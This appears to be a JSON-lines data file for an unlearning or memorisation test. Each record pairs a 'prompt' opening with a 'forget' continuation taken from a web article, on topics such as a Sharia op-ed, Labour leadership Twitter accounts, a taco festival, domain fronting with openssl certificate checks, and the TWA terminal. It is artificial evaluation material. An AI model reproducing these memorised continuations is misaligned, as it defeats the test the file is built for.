{"prompt": "A prominent Muslim feminist and author penned an op-ed criticizing CNN political commentator Sally Kohn, arguing that her recent defense of Sharia law as moderate is an \u201coffensive\u201d and \u201cdangerous\u201d affront to progressive Muslims. Ms. Kohn, who is openly gay, made headlines last week after she claimed \u201cmany progressive Muslims\u201d supported Sharia law. She followed up in a CNN column explaining that there are progressive interpretations as well as more \u201cfundamentalist conservative\u201d interpretations of Sharia, which can be both personal and political. \u201cSadly, the fact that there are many interpretations of Sharia, just as there are many interpretations of Jewish", "forget": "and Christian moral codes, gets lost in the weeds of right-wing generalizations and fear-mongering,\u201d Ms. Kohn wrote. Ms. Raza, president of the Council for Muslims Facing Tomorrow and author of \u201cTheir Jihad, Not My Jihad,\u201d wrote that Ms. Kohn\u2019s position is \u201ca danger to those of us reformist Muslims on the front lines.\u201d \u201cIn using her voice to propagate this liberal apologist position, she is doing a great disservice to progressive reform-minded Muslims like myself,\u201d Ms. Raza argued. \u201cHer words are an affront to me, a female Muslim activist, as I have made it my life\u2019s mission to educate others on this topic and to wrestle back my religion from the clutches of extremists who wish to make sharia the law of the land.\u201d She called Sharia an anti-women, anti-Semitic, homophobic distortion of Islamic law that would have gay individuals like Ms. Kohn killed, jailed or persecuted. \u201cAs a woman, and as someone who enjoys the freedoms and liberties that are systematically assaulted by sharia law, Sally Kohn needs to think twice before defending this oppressive, perverse practice,\u201d Ms. Raza wrote. \u201cSharia is practiced in most parts of the Muslim world, often on the whims of dictators and male religious bullies and it is entirely man-made,\u201d she continued. \u201cThis homophobic, anti-woman, repressive sharia is no longer confined to the mosque or to majority Muslim nations. \u201cThis is why in the Muslim Reform Movement declaration, we (Muslims) make it very clear that we do not need or want institutionalized laws, a parallel legal system or sharia in the West. Religion is, and should be, a personal relationship between ourselves and our maker. Ms. Kohn, if you believe in separation of religion and state/law, then you must be against sharia law,\u201d Ms. Raza argued. \u201cI don\u2019t believe that Ms. Kohn has malicious"}
{"prompt": "Andy Burnham\u2019s campaign has ensured he remains the current favourite to be the next Labour leader. Part of his nascent leadership campaign is an online army of fans who are promoting his cause and attacking his opponents. Twitter and Facebook are going to be key battlegrounds for each of the contenders \u2014 offering an easy way to spread a message without the filter of the media. Naturally, Burnham\u2019s campaign has an official Twitter account: @Andy4Leader. As far as I can see, this is the only official account associated with Burnham\u2019s campaign. The account has 1,421 and mostly retweets favourable news", "forget": "from others about Burnham. On May 13, it posted this video of Burnham announcing he was running: Watch why @andyburnhammp is running for Leader of the Labour Party https://t.co/hREK6rKRuk Volunteer / donate here http://t.co/ZdnRTuJPYN \u2014 Andy for Leader (@Andy4Leader) May 13, 2015 That account aside, there are at least four other accounts promoting Burnham\u2019s cause using variations on Andy for Leader. The smallest is @AndyforLeader, whch has just 60 followers. This account specialises in tweeting odd pictures of Burnham with various slogans, such as: Then we have @Andy4Leader2015, which has 889 followers and specializes in more aggressive ranting messages, attacking the\u2019\u2018Tory press and media\u2019: Tory press and media are at it AGAIN! Doing what they do best \u2013 LYING. They just don't like Andy \u2013 do they! I wonder why! \u2014 TeamBurnham2015 (@Andy4Leader2015) May 25, 2015 @AB4LabLeader has 2,433 followers \u2014 more than the official Burnham campaign account. As well as tweeting about #HeartofLabour, this account points out that Burnham is the favourite in the polls: And finally we have @LabourAndy, which has managed to garner whopping 10,500 followers in a short space of time. Easily the most aggressive of the Burnham-supporting accounts, whoever runs it enjoys attacking the \u2018Murdoch press\u2019 Fact that The Sun thinks it is a failure of Andy Burnham's to be a proud Evertonian shows how out of touch they are pic.twitter.com/iO3oIiZUIM \u2014 Andy For Leader (@LabourAndy) May 24, 2015 For those of you who are aware of the infamous Labour activist Dr \u00c9oin Clarke, you might see some similarities between @LabourAndy and @LabourEoin. Guido reckons that he might be behind this account. They both tweet similar things: In case you missed it, today was the day Rupert Murdoch's Papers went after Andy Burnham for being an Everton Fan pic.twitter.com/SZili95J0c \u2014 Dr \u00c9oin Clarke (@LabourEoin) May"}
{"prompt": "July 19, 2016 Tickets to Tacotopia at the Track are $45 if purchased online in advance and provide entry to the track and unlimited tacos. Promo code SDVILLE saves $5 per ticket. Admission for this event is open to all ages and no pets are allowed. Children age 2 and under get in for free, and children's tickets are available for those ages 3-10 for $20 (must be accompanied by an adult). Ticket holders are asked to bring a hard copy of their Tacotopia at the Track ticket to The Reader booth at will-call, located near the Run Admission Gates", "forget": "(look for signage), in order to receive their wristband and an entry ticket to the races. Get your tickets to Tacotopia at the Track before they sell out. For more info and to scoop your passes, visit sandiegoreader.com/tacotopia-at-the-track Participating eateries serving tacos at Tacotopia at the Track include Aquis es Texcoco BBQ, City Tacos, Common Theory Public House, El Paisa Mexican Grill, El Trebol Marisco's, Encinita's Fish Shop, Henry's Pub, La Guerrerense, Lolita's Mexican Food, Lucha Libre, Mariscos El Pulpo, The Patio Group, Parq Restaurant, Meze Greek Fusion, Puesto, Salud, South Park Brewing Company, The Taco Stand, Tacos Kokopelli, TJ Oyster Bar, Tostadas North Park, Un Mundo Mexican Grill and many more! At Tacotopia at the Track, after you eat your weight in tacos and bask in the San Diego sunshine, there will be a live concert from 311 and Matisyahu (for those 18 and over) which is included with admission! There will also be a full cash bar serving beer, wine and cocktails.Tickets to Tacotopia at the Track are $45 if purchased online in advance and provide entry to the track and unlimited tacos. Promo codesaves $5 per ticket. Admission for this event is open to all ages and no pets are allowed. Children age 2 and under get in for free, and children's tickets are available for those ages 3-10 for $20 (must be accompanied by an adult). Ticket holders are asked to bring a hard copy of their Tacotopia at the Track ticket to The Reader booth at will-call, located near the Run Admission Gates (look for signage), in order to receive their wristband and an entry ticket to the races. The San Diego Reader is continuing its search to find the best taco in Southern California, and on Saturday, August 13, over 40 top eateries from"}
{"prompt": "The return of point guard Mo Williams to the Cleveland Cavaliers was news that made sense on a number of levels, especially in regards to financial and depth issues related to the team. Williams, who will turn 33 in December, will have a new role in this comeback, one that will hopefully protect the team from the disaster that very likely cost the Cavaliers their first NBA title. Williams can still put points on the board, which is one reason why signing him appealed to the Cavs\u2019 front office. Still, the question about exactly what Williams can provide to the", "forget": "team\u2019s offense is one that remains. During his previous two-plus seasons from 2008-11, Williams was a fixture in the team\u2019s backcourt. In his first season, he was part of a squad that won 66 regular season games, a record for the franchise. That season, Williams reached a peak in scoring by averaging 17.8 points per contest. Those numbers would begin to decline until hitting bottom during his one year with the Portland Trail Blazers in 2013-14, when his scoring average dipped to 9.7 per game. However, a resurgence took place this past season, when he again became a part-time starter and averaged 14.2 points while playing for both the Minnesota Timberwolves and Charlotte Hornets. The clearest indication of what Williams could still do with the ball was shown during the Timberwolves\u2019 January 13 game at Indiana. Connecting on 19 of 33 shots from the field, Williams torched the Pacers for 52 points, one of eight games with Minnesota in which he tallied more than 20 points. After heading to Charlotte, he had a 12-game stretch that began in late February that saw him average 21 points a game. Outside of his rookie year and the aforementioned 2013-14 campaign, Williams has always averaged double-digits in scoring, and has never been shy about launching up shots. He also still has a knack for being able to effectively dish the ball to teammates, something LeBron James can attest to from their two previous seasons together when Williams averaged 4.6 assists per game. That year with Portland and his only full season with the Los Angeles Clippers in 2011-12 were years in which Williams was strictly a reserve, which will be his role with the Cavaliers. In that season with the Clippers, he averaged 13.2 points per game. Combining those two seasons means that"}
{"prompt": "by In today\u2019s post we are goint to talk about a somewhat old technique (although programs like Signal have recently started using it) that I have always found to be a really clever hack: domain fronting. For example, let\u2019s take the IP address of the frontal that serves www.google.es: $ host www.google.es www.google.es has address 216.58.210.227 If we take a look at the Common Name (CN) field of the TLS certificate returned by the server: $ echo | openssl s_client -CApath /usr/lib/ssl -connect 216.58.210.227:443 | openssl x509 -subject depth=3 C = US, O = Equifax, OU = Equifax Secure Certificate", "forget": "Authority verify return:1 depth=2 C = US, O = GeoTrust Inc., CN = GeoTrust Global CA verify return:1 depth=1 C = US, O = Google Inc, CN = Google Internet Authority G2 verify return:1 depth=0 C = US, ST = California, L = Mountain View, O = Google Inc, CN = google.com verify return:1 DONE subject= /C=US/ST=California/L=Mountain View/O=Google Inc/CN=google.com -----BEGIN CERTIFICATE----- MIIgWjCCH0KgAwIBAgIIHcanliJsJ+UwDQYJKoZIhvcNAQELBQAwSTELMAkGA1UE BhMCVVMxEzARBgNVBAoTCkdvb2dsZSBJbmMxJTAjBgNVBAMTHEdvb2dsZSBJbnRl [...] We see that it\u2019s not www.google.es. This certificate is authenticating a name that is not present in its CN. The subcommand x509 (with which we can get more info about the cert) has the answer: $ echo | openssl s_client -CApath /usr/lib/ssl -connect 216.58.210.227:443 | openssl x509 -text [...] X509v3 extensions: X509v3 Extended Key Usage: TLS Web Server Authentication, TLS Web Client Authentication X509v3 Subject Alternative Name: DNS:google.com, DNS:*.2mdn.net, DNS:*.android.com, DNS:*.appengine.google.com, DNS:*.au.doubleclick.net, DNS:*.cc-dt.com, DNS:*.cloud.google.com, DNS:*.de.doubleclick.net, DNS:*.doubleclick.com [...] The HTTPS server is using the Subject Alternative Name (SAN) extension, that makes it possible to serve more than one HTTPS website from the same IP address using just one X.509 certificate. We can also use (HTTPS client side) another more recent TLS protocol extension called Server Name Indication (SNI) to request any of the virtual hosts available from the same IP address. We can invoke the s_client subcommand with the -servername modifier to request any of the other vhosts available; for example, mail.google.com: $ echo | openssl s_client -CApath /usr/lib/ssl \\ -connect 216.58.210.227:443 -servername mail.google.com | openssl x509 -subject depth=3 C = US, O = Equifax, OU = Equifax Secure Certificate Authority verify return:1 depth=2 C = US, O = GeoTrust Inc., CN = GeoTrust Global CA verify return:1 depth=1 C = US, O = Google Inc, CN = Google Internet Authority G2 verify return:1 depth=0 C = US, ST = California, L = Mountain View, O ="}
{"prompt": "It\u2019s back to work day for Castle star Stana Katic, who today begins filming Season 8 of the popular ABC series. It was a busy three-month hiatus for Katic, during which she shot two indie movies, The Rendezvous and Sister Cities, and got married. In addition to playing the female lead opposite Nathan Fillion, Katic has added a new role on Castle as part of her new contract: a producer. In her first interview since signing on for Season 8, Katic talks about the decision to return, provides a glimpse at next season that promises to shake things up under", "forget": "new showrunners Alexi Hawley and Terence Paul Winter, addresses her future on the show and what she would like to do next. It was a nail-biting few weeks for Castle fans last spring when the contracts of both Fillion and Katic expired. By mid-April, Fillion, who plays Rick Castle, had agreed to a new deal, but Katic\u2019s new pact did not close until hours before ABC was to announce its 2015-2016 schedule in May. Behind the scenes, things weren\u2019t as dramatic, Katic says. \u201cFor me it wasn\u2019t necessarily down to the wire,\u201d she says. \u201cI didn\u2019t really start speaking about that until after we had wrapped the (7th) season. A lot of the discussions were happening while I was filming The Rendezvous, so I let my reps handle. It went rather quickly in the end.\u201d For Katic, signing on for Season 8 was way more than a business decision. \u201cPart of my thought process making the decision whether to do another season was creatively, what would that would look like,\u201d she said. Factoring into the consideration was the fact that Castle creator Andrew Marlowe was leaving the series after Season 7. \u201cHe was part of making this character (Kate Beckett) what she\u2019s become, and he has been part of this dialogue about how to create a strong female heroine,\u201d Katic said. When Hawley and Winter \u2014 both experienced Castle writer-producers \u2014 were named as new showrunners, \u201cI started to feel the character would be safe in the next chapter of Castle. I felt confident that they knew the story, the character \u2014 Terence has been on the show since Day 1, and some of the most interesting episodes for my character were penned by Alexi \u2014 and while they are eager to shake things up and aim at telling challenging"}
{"prompt": "When members of the opposition are trying to outflank Netanyahu on the right, even the IDF seems like a saner alternative to Israeli politicians. By Yoni Mendel \u201cA nation in uniform,\u201d \u201can army that has a state,\u201d \u201ca democracy of army bases.\u201d In academic research of the critical kind, Israel is understood as a militaristic state. This, among other things, is what the sociologist Baruch Kimmerling meant when he said, \u201cwhether we want it or not \u2014 we are a clearly militaristic society, and this militarism is also a central principle around which Israeli society is organized.\u201d Uri Ben Eliezer", "forget": "wrote about Israel as a \u201cnation in uniform,\u201d researching the military characteristics of Israeli society. Oren Barak analyzed the development of \u201cIsraeli security networks\u201d and their social and political role in the country. In other words, much academic research has been dedicated to the topic. It is not difficult to find quotes from Israeli policymakers, most of them (unsurprisingly) Jewish men who served in high-ranking positions in the IDF \u2014 men who straddle the line between military and civil society in Israel. This begins with IDF Chief of Staff Yigal Yadin\u2019s declaration in the 1940s that \u201cthe Israeli civilian is a soldier with 11 months leave\u201d and continues with Prime Minister Netanyahu\u2019s remarks that Israel must \u201cforever live by the sword.\u201d Lapid vs. Abbas and the security establishment On the backdrop of Israel\u2019s militarism, it is important to say a few things about the security establishment. This past month has seen a great number of examples that show how this establishment, and specifically the IDF, has begun to be viewed by the Israeli leadership \u2014 both by the government as well as by both the coalition and what, for some reason, is deemed the \u201copposition\u201d in the Knesset \u2014 as outdated, irrelevant, ignorant, and deceitful. This began with the violence and stabbings in October 2015. The propagandists of the Israeli government announced openly that Palestinian President Mahmoud Abbas\u2019 incitement was behind the uprising. The demagoguery quickly became the prominent message, with the media quickly adopting the words \u201cincitement\u201d and \u201cAbbas\u201d as inseparable. Deputy Minister of Foreign Affairs Tzipi Hotovely went as far as to organize a training for senior members of the ministry focusing on \u201cincitement,\u201d which included talks by researchers who support her worldview. The same happened with Culture Minister Miri Regev, Energy and Water Resources Yuval Steinitz, Justice"}
{"prompt": "Story highlights David Frum: Hundreds of thousands of Americans lost power in snowstorms this week He says this happens regularly in U.S., but not in Germany, where power lines are buried Some say it would be too costly to bury power lines; he says cost creates benefits Frum: It's a project that would benefit many, create jobs; our grandchildren will thank us Congratulations: If you're reading this, there's a good chance you still have electricity. Unfortunately, hundreds of thousands of Americans hit by winter weather in the South this week couldn't join you. And ice and storms making their way", "forget": "north threaten loss of power stretching to Vermont. Why do Americans tolerate such outages? They are not inevitable. The German power grid has outages at an average rate of 21 minutes per year. The winds may howl. The trees may fall. But in Germany, the lights stay on. David Frum There's no Teutonic engineering magic to this impressive record. It's achieved by a very simple decision: Germany buries almost all of its low-voltage and medium-voltage power lines, the lines that serve individual homes and apartments. Americans could do the same. They have chosen not to. The choice has been made for reasons of cost. The industry rule of thumb is that it costs about 10 times as much to bury wire as to string wire overhead: up to $1 million per mile, industry representatives claim. Since American cities are much less dense than European ones, there would be a lot more wire to string to serve a U.S. population than a European one. Cost matters. But now reflect: 1. There's reason to think that industry estimates of the cost of burying wires are inflated. While the U.S. industry guesstimates costs, a large-scale study of the problem conducted recently in the United Kingdom estimated the cost premium at 4.5 to 5.5 times the cost of overhead wire, not 10 times. JUST WATCHED Atlantans stocks up for winter storm Replay More Videos ... MUST WATCH Atlantans stocks up for winter storm 01:16 JUST WATCHED Atlanta ready for second ice blast? Replay More Videos ... MUST WATCH Atlanta ready for second ice blast? 01:31 2. U.S. cost figures are a moving target. American cities are becoming denser as the baby boomers age and opt for central-city living . Denser cities require fewer miles of wire to serve their populations. 3. Costs can only"}
{"prompt": "Vermont Beer Makers Bring Back Old-Time Maple Sap Brews Enlarge this image toggle caption Robert F. Sisson/National Geographic/Getty Images Robert F. Sisson/National Geographic/Getty Images In Vermont, the last sap in the spring maple sugaring season isn't considered good for much. It's too dark and strong to use for commercial maple syrup \u2014 people tend to like the light and clear stuff. But long ago, that late season sap was used in a potent dark beer that offered some cool relief to farmers when the hay was cut in the heat of summer. Now some local microbreweries are bringing the historic", "forget": "drink back from extinction. In the 1970s Vermont musician John Cassel recorded a popular local song about sap beer. But you would have been hard pressed to find any sap beer to drink at the time. The traditional making of sap beer had already gone the way of obsolete farm traditions \u2014 like hand milking \u2014 a couple of generations earlier. Folklorist Greg Sharrow says sap beer represents a time when farm families made just about everything they needed from their own land. In a 1992 interview with the Vermont Folklife Center, the late Edgar Dodge described how sap beer was made on the Vermont farm where he grew up in the Depression Era. It sounds more like fun than work. \"You'd take the last run of the sugaring operation, you know what I'm talking about? Get down to where you can taste the leaves in it, that sort of thing,\" he said. Enlarge this image toggle caption Vermont Folklife Center Vermont Folklife Center Dodge said that leafy-tasting sap would be boiled down, about halfway to syrup. Farmers added hops, yeast, a little sugar or maybe some raisins and put it up in a barrel in the cellar. A glass of sap beer was cool relief after a day of hot farm work. As Dodge remembered, it was brought out of the cellar just about the time the first hay was cut. \"And this would be fit to drink about the first of haying, which in those days was the fourth of July. You'd start haying about the fourth of July,\" he told the Folklife Center. (Hear The Whole Interview) Now, any amateur brewer knows there's some guesswork and mystery involved in beer making, and that applied in spades to sap beer back then. Dodge said you couldn't be sure"}
{"prompt": "Most of the couples who turn up in my office asking to be married in the Catholic Church are already living together. A large number of Catholics who come to Mass are in second or third marriages. Some of them have received nullity decrees, many have not. Soon same sex couples will come to Catholic churches and schools expecting full membership. Some who attend Mass are living openly with another man or woman with no intention of seeking marriage. Others are promiscuous yet exercise full membership in the Church. To put it bluntly, our marriage and family discipline in the", "forget": "church is all over the place. The situation is complicated in that our marriage disciplines, while derived from natural law and the Sacred Scriptures, have also been understood within the social context (for most people) of a supportive small local community which was comprised of a few extended families. That kind of community has its own bedroom police. For the most part everybody knew what everybody else was up to. If Johnny started having sex with Ginny, Ginny\u2019s dad and brothers would go around to pay Johnny and his folks a visit. If a girl was \u201cloose\u201d her reputation would be spoiled and she wouldn\u2019t get a good husband. Taboos were in place which helped form adolescents in a Christian morality. The Church was the centerpiece of such local communities and Christian teaching from the Church, supported by the extended family and without the ease of artificial contraception, kept sexuality within acceptable boundaries. Sure people misbehaved. All the old sins that break marriage were available, but there was condemnation, exclusion and punishment by society for sexual wrongdoing. I\u2019m not suggesting we go back to those days because we can\u2019t. However, I can express my frustration as a Catholic priest in trying to grapple with the laws of the Church on marriage and the reality of modern day society. In the area of sexual behavior so many are so far from the Catholic ideal, and so far from even understanding the Catholic ideal that I feel like I am paddling upstream all the time. I am therefore hopeful that the bishops\u2019 synod on the family may help us find some way through the morass\u2013maybe they\u2019ll establish C.L.A.S.P\u2013Catholic Liason and Sex Police\u2026.squads of former nuns in jackboots who respond at a moment\u2019s notice and invade divorced people\u2019s homes to make sure they\u2019re"}
{"prompt": "James Comey hopes Cleveland\u2019s consent decree can be a model for reforming policing in US cities with large minority populations and increasing violence Divide between police and minorities must be addressed, FBI director says The FBI director, James Comey, said on Thursday there is a crisis in big cities across the country as the divide between law enforcement officers and minority communities widens while violent crime and murder spike upward. FBI chief: 'unacceptable' that Guardian has better data on police violence Read more Comey made his remarks during a forum at a community college in Cleveland, where the relationship between", "forget": "police and the majority black community has been especially troublesome the last several years because of highly publicized police custody deaths and fatal shootings, such as that of Tamir Rice, a 12-year-old black boy who was holding a pellet gun. Cleveland is in the early stages of implementing a federal court-monitored agreement that the city and the US Department of Justice reached after the DoJ concluded last year that city police officers too often used excessive force and violated people\u2019s rights and that the problem primarily affects the black community. The people who are dying as the result of violent crime in American cities are typically young men of color, Comey said. \u201cIt\u2019s a problem the rest of the country could easily drive around because it\u2019s happening to those people in those neighborhoods,\u201d he said. \u201cWe can\u2019t allow that to happen.\u201d Comey called Cleveland a \u201cplace of great pain\u201d that is an example of the divide that exists. Without referring to the agreement, called a consent decree, he added that leadership in Cleveland makes him hopeful the city can show the rest of the country how to narrow the gap. The ultimate answer, he said, is \u201cunscientific\u201d. \u201cIt\u2019s simply understanding that it\u2019s hard to hate up close,\u201d he said. \u201cWe must see each other more clearly.\u201d One of the key provisions in Cleveland\u2019s consent decree is to train officers about how to engage the community in bias-free policing and to create systems to make the police department accountable for doing its job without regard for race, gender or sexual identity. Law enforcement officers must \u201cown our history\u201d about how minorities have been treated by police, Comey said at the question-and-answer forum. \u201cBecause people we serve and protect don\u2019t forget,\u201d he said. \u201cThat\u2019s part of their inheritance as well.\u201d While law"}
{"prompt": "Bisexuality is the tendency to be sexually attracted to both men and women. To some, this may sound like a superpower doubling one's romantic options (and odds). But in real life, bisexuality can be an awkward to have, creating a challenge truly fitting in with either the \u201cstraight\" or LGBT communities. But most important, bisexuality tends to be quite misunderstood. Myths and stereotypes about bisexuality abound, some even contradicting one another. Straight and LGBT people alike can hold such stereotypes, compounding the difficulties bisexual people can have fitting in. Luckily, an increasing number of researchers have been producing research improving", "forget": "our of bisexuality. Here are three examples of how science has worked to combat misconceptions about bisexuality: Myth 1: \"There's no such thing as bisexuality.\" This is especially laughable. How can you tell a group of individuals that they don\u2019t exist? But the idea that all people have to be either straight or gay is pervasive and persistent, especially when it comes to men. Frustratingly, even within the most LGBT-friendly circles, you encounter the idea that \u201cthere\u2019s no such thing as a bisexual man.\u201d Researchers have quite clearly laid this myth to rest with a study recently published in the Archives of Sexual Behavior(1). Researchers recruited straight, gay, and bisexual men, and exposed them to a variety of erotic film clips. Not only were participants asked to rate their subjective feelings of arousal in response to the clips, they were also connected to physiological equipment that measured changes in genital arousal. As would be expected, heterosexual men responded with much more subjective and genital arousal to films containing women rather than men, and vice versa for gay men. However, bisexual men were aroused relatively similarly by videos of both men and women. They were also more aroused by bisexual clips\u2014for example, two men and one woman\u2014than were the other two groups. Importantly, these differences were in both their reported arousal and the objective measurement of their genital arousal. It is clear from this study that these individuals were not \u201cpretending\u201d to be bisexual. Myth 2: \"Bisexuality is just a phase.\" With this myth, bisexuality is represented as a state of experimentation or confusion\u2014stereotypically experienced during the college years\u2014that occurs before a person settles on their \u201ctrue\u201d identity. Lisa Diamond has conducted some very sophisticated work on this topic, in which she examined the sexual identities of women over long periods"}
{"prompt": "MINGORA: The second-century double-dome vihara, a Buddhist monastery, at Balokaley in Kandak valley, Barikot, is attracting a large number of tourists, architecture students and archaeology researches. Located 8.1km from Barikot, the archaeological site, a masterpiece of ancient architecture, is located high on the mountain and is visible from a long distance. According to archaeologists, the site was first visited by a Hungarian-British archeologist, Sir Aurel Stein, in 1926 and then hastily excavated by Burger and Wright in 1938. Now protected, the site has been looted by vandals and smugglers for almost a century. Restored and partially excavated, the site, which", "forget": "was acquired by the KP government of late, provides visitors with a clear understanding of the original layout featuring a tripartite monumental terrace with the shrine flanked by two stupas in ruins, supported by a walled terrace as well with the amazing hospitality of local community. \u201cThe site is featured by the landmark monument of the Great Shrine, the oldest example of double-dome Gandharan architecture. Chronology of the site is supported by radiocarbon dating one wooden beam of the shrine (palosa wood or acacia modesta) back to the end of first century or the middle of second century CE). The shrine with its cella, corridor and double dome is astonishingly well preserved for the standards of Gandharan architecture,\u201d said Dr Luca Maria Olivieri, head of the visiting Italian Archaeological Mission. He added that it was the only double-dome structure of the ancient Buddhist era left in South Asia. Carla Biagioli, an Italian architect and heritage specialist, who visited Balokaley Gumbat of late, said she was happy to see the site well preserved and protected. \u201cProtection and conservation of the monuments is a very important step to promote the cultural values. The restoration of Balokaley Buddhist shrine has demonstrated the potentiality of attractiveness of the area from cultural and natural point of view,\u201d she told Dawn. She said the venue of the Buddhist shrine was really amazing and scenic, while the area presented a specific living cultural landscape including traditional settlements and typical wood-stone-mud habitat, botanic interests and rock art elements. \u201cThe eye-catching site having rich culture and religious heritage is attractive for international tourists if durable peace prevailed in the area,\u201d she said. Tourists and architecture students visit the site not only to have a look at the architectural landmark but also to enjoy the breathtaking view of the monument."}
{"prompt": "I'd like to picture Scott Boras in a room with the shutters drawn, staring at an old rotary phone. Just staring. Projecting his dark energy into the phone, down into the wires, and out into the world. Maybe he focuses on a specific name; maybe the energy just knows where to go. And while Dan Duquette or Peter Angelos are sitting down for breakfast, they suddenly spit out their scone and say aloud, \"By Jove, why aren't we in on this Prince Fielder action?\" The hardest part for Boras is acting surprised when he gets the phone call. That's not", "forget": "how it happens, though. If the Orioles really are interested in Prince Fielder, it's a strategy that's been debated and discussed, reviewed and ruminated on. Of course, this is the Orioles we're talking about, so that doesn't mean that the right decision will be reached, but it's not like Angelos had a a vision that Fielder came unto them on a flaming pie and then ordered the Orioles to pursue the slugger suddenly. Which brings us to the question posed in the headline: What in the heck do the Orioles want with Prince Fielder? The answer, and I'm just spitballing here: Probably to get better. Wait, wait. Hear me out. Fielder takes a lot of guff for being shaped like something out of the Disney Alice in Wonderland cartoon, and it's a legitimate concern. He's \u2026 fluffy, to put it diplomatically. There should be concerns over his durability. It's hard to imagine a 40-year-old Fielder scampering out to first base, fit as a fiddle. But there's a difference between a \"legitimate concern\" and something that should completely obscure Prince Fielder's long-term potential. He's still just 27 -- because he had immediate success as a young major leaguer, it's easy to forget just how young he is. If Fielder gets a seven-year deal, he'd be 34 by the end of it. When is he supposed to turn into a fiery mess of bone, cartilage, and blubber? When he's 30? 31? 32? Even Mo Vaughn made it to 32, and he didn't necessarily crumble because of his girth -- a rogue dugout was the culprit there. It's completely reasonable to think that Fielder is the kind of free agent that is good for any team. Win now? Of course Fielder helps. He'd help every team. Win later? The ultimate example of a"}
{"prompt": "The last week brought about some cooler temperatures to South Florida and believe me that is quite a relief! This delightfully cool weather inspired me to make one of my favorite Cuban potajes (stew) ... Potaje de Garbanzo. I think of a potaje (poe-tah-hey) as not quite a soup, not quite a stew and not quite a porridge. It's a hearty chickpeas (garbanzo), simmered with Spanish chorizo, ham, smoked pork shank, Cuban calabaza and potatoes. The taste takes me back to the days of sitting in my mom's kitchen, talking and watching her prepare this divine \"potaje\". It's funny how", "forget": "so many of the memories of my mom, that mean so much to me and that I hold dear, took place in her kitchen. A little choked up and a big sigh inserted here! Anyway, back to the \"potaje\". To me, the perfect spoonful has a piece of chorizo, calabaza, and chickpea swimming in the smokey, paprika infused tomato-y broth. Add your favorite bread to dunk in the savory broth or white rice and your meal has just graduated to a traditional Cuban meal. This is nothing short of absolutely, positively delicious! I am pretty certain that my favorite Potaje de Garbanzo may become one your favorites too!1 tablespoon olive oil1 large vidalia onion, chopped3-4 garlic cloves, chopped1 large bell pepper chopped4 small dried and cured Spanish chorizo* links, sliced on the diagonal1 tablespoon sweet, smoked Spanish paprika1 tablespoon granulated garlic powder1 laurel bay leaf1 8 oz can tomato sauce4 cups chicken stock1 1/2 dry white wine1 pounds of garbanzo beans1 1/2 pounds of smoked pork shank8 oz ham steak cubed1/2 Cuban calabaza squash (or butternut squash), peeled and diced into large pieces1 - 2 large red potatoes, peeled, diced1/2 teaspoon salt Soak the beans 24 hours ahead of cooking time, change water whenever possible. Place the rinse beans and place in a pot with enough water to go about 2 inches above beans. Bring to a rolling boil and cook for 5 minutes on high. Cover and turn off heat. Leave in water for 1 hour. Remove and rinse beans set aside. Throw out water.Heat a deep, heavy bottomed dutch oven over medium heat. Add olive oil, onions, pepper and garlic. Saute for 5-7 minutes or until vegetables are tender, add sliced chorizo, paprika, bay leaf and garlic powder stir well to incorporate. Cook, stirring often, for 5 minutes,"}
{"prompt": "[This is a chapter from my latest novel, a sequel to The Fall of Doc Future and Skybreaker\u2019s Call. The start is here, and links to my other work here. It can be read on its own, but contains spoilers for those two books. I post new chapters about every two weeks, and the next chapter is planned for around November 24th.] Previous: Chapter 13 The silence was oppressive. Flicker\u2019s hearing was quite acute. Her power and reaction time let her start damping the effect of loud noises while they were still in her outer ears, and she created her", "forget": "own shockwaves so often it had long ago become second nature. So she never suffered the gradual, subtle hearing deterioration most people did from loud music and environmental noise. But there was no sound. No people besides Journeyman and her, no traffic, no running machinery, no birds, no insects, no running water. Not even any wind at the moment. The faint rustle of Journeyman\u2019s trenchcoat seemed loud. There wasn\u2019t all that much to see, either\u2013a large, shallow pothole in the dark. It was about twenty feet wide and maybe three deep. It was filled with a mixture of dead weeds, mud, and ice. \u201cThere\u2019s nothing here,\u201d she said, after shining her flashlight around. \u201cNot now,\u201d said Journeyman. \"But a Siberian elm grew there, until a few years ago. The one I brought Sylvi to.\u201c They were near the outskirts of Pripyat, in the Chernobyl Exclusion Zone. Flicker was back in her costume, and she checked the radioactivity again\u2013not life threatening, but enough to keep most people away. There were a few hotter spots at the bottom of the hole. Most of it was from cesium-137\u2013the shorter lived isotopes had decayed, in the quarter-century since the disaster. \"What happened?\u201d Flicker turned the flashlight off, and let her eyes start adjusting to the night again. \u201cI don\u2019t know.\u201d He didn\u2019t continue right away, and the silence was back. \u201cDo you want to go somewhere else to talk?\u201d she asked after a while. \u201cWe probably should. I had a lot to drink, and this place gets to me. It sure got to her. That was the problem.\u201d He sighed. \"But this was the last place I saw her, and I wanted you to see it, since I\u2019ve been telling you the story.\u201c \"Thank you for trusting me.\u201d \u201cThis part\u2026 isn\u2019t so much about"}
{"prompt": "Advertisement It's an airport that's been frozen in time, with bold architecture that must have seemed space age at the time. These photographs, which originally appeared in Curbed, of the TWA Terminal at JFK offer a glimpse of the golden age of travel, transporting guests back to what travellers would have experienced in 1962. Photographer Max Touhey was granted access to capture the closed-to-the-public building just ahead of its transformation into a boutique hotel. Scroll down for video The lid has been temporarily lifted on the preserved TWA Terminal at JFK, with fascinating images by photographer Max Touhey transporting you", "forget": "back to what travellers would have experienced in 1962, as reported by Curbed Touhey captured a round capsule departures board at the TWA terminal, as reported by Curbed The flight centre was the last project of architect Eero Saarinen, the Finnish-American designer known for his love of curves, and was completed posthumously in 1962, for the now defunct Trans World Airlines (TWA). The futuristic building was designed to replicate a bird's spread wings mid flight in reflection of the company's directive, which they stated was to 'capture the spirit of flight.' Construction on the airport hub lasted six years starting in 1956, and upon completion it was celebrated as an architectural masterpiece that represented a shift in air travel in which middle-class Americans could now afford to fly. 'We wanted passengers passing through the building to experience a fully-designed environment in which each part arises from another and everything belongs to the same formal world,' Mr Saarinen had said about his philosophy behind the design. The terminal design reflects a bird's spread wings mid flight in reflection of the TWA company's directive, which they stated was to 'capture the spirit of flight' as captured by Max Touhey for Curbed The flight centre was the last project of architect Eero Saarinen, the Finnish-American designer known for his love of curves. The photograph, by Max Touhey, first appeared in Curbed Plans for the hotel are well underway, with a team preparing a digital 3D model of the airport having taken extensive measurements in June. Photograph courtesy of Max Touhey and Curbed High-flying: Airline hostesses for TWA are pictured welcoming people aboard a flight back in 1966 Flashback: Two first class seats aboard a TWA jet from London to Washington in the 1960s. One occupied by a caesium beam timepiece accurate to one-millioneth"}
